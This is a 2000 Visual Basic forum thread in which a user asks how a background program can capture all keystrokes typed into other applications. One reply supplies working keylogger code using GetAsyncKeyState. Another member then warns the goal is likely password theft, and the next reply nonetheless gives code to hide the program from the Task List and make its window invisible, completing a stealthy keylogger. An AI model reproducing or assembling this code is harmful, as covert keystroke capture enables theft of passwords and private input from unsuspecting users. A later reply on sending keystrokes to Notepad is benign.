|
-
Aug 14th, 2000, 10:04 PM
#1
Thread Starter
Junior Member
The problem:
The way for making a form not in focus recieve all keystrokes made by user
Example:
User types in Notepad and app on background recieves all user's keypresses and puts them in its own textbox. Result: text is duplicated in 2 places.
usin sendmessage for getting text from control is not acceptable because sendmessage will not recieve info from most full-screen of dos-based apps and thats what i need
Thx very much if u can help and just thx if u cant =)
-The Shortest Anecdote: pkunzip.zip
-
Aug 15th, 2000, 08:37 AM
#2
Use GetAsyncKeyState. Put the following code in a Form with a Timer.
Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
For I = 3 To 255
If I > 31 Then If GetAsyncKeyState(I) Then Text1 = Text1 & Chr(I)
Next I
End Sub
-
Aug 15th, 2000, 08:48 AM
#3
Junior Member
Sorry if I'm being rude, but the next question's not going to be, how do I make my form invisible and how to I make it invisible on the tasks list is it?
The only reason that I can think why you'd want to do this is if you were going to rob someones password or something else devious
-
Aug 15th, 2000, 09:54 AM
#4
I don't really think it matters, however, if thats the case, then the answers are shown below.
To hide from the Task List:
Code:
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Sub Form_Load()
'Hide from Task List
RegisterServiceProcess GetCurrentProcessId, 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Show in Task list
RegisterServiceProcess GetCurrentProcessId, 0
End Sub
To hide the Form:
Code:
Me.Visible = False
'Or you can use...
Me.Hide
-
Aug 15th, 2000, 11:28 AM
#5
Thread Starter
Junior Member
Thx Megatron , one more question:
Is there a way to send keystrokes (keycodes or charcodes) with sendmessage?
-The Shortest Anecdote: pkunzip.zip
-
Aug 15th, 2000, 11:39 AM
#6
Send the WM_CHAR message. Next example will send the A key to Notepad (so make sure you have Notepad pre-opened)
Code:
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const WM_CHAR = &H102
Private Sub Command1_Click()
Dim hParent As Long
Dim hChild As Long
hParent = FindWindow("Notepad", vbNullString)
hChild = FindWindowEx(hParent, 0&, "Edit", vbNullString)
SendMessage hChild, WM_CHAR, vbKeyA, 0
End Sub
-
Aug 15th, 2000, 12:14 PM
#7
Fanatic Member
-
Aug 15th, 2000, 01:50 PM
#8
Thread Starter
Junior Member
ok, so sendmessage can send keystrokes though i couldnt accomplish sending vbkeyreturn which is bad =(
And: is there any possibility to scan what virtual key is pressed now and deicpher what u get in a symbol/func key
-The Shortest Anecdote: pkunzip.zip
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|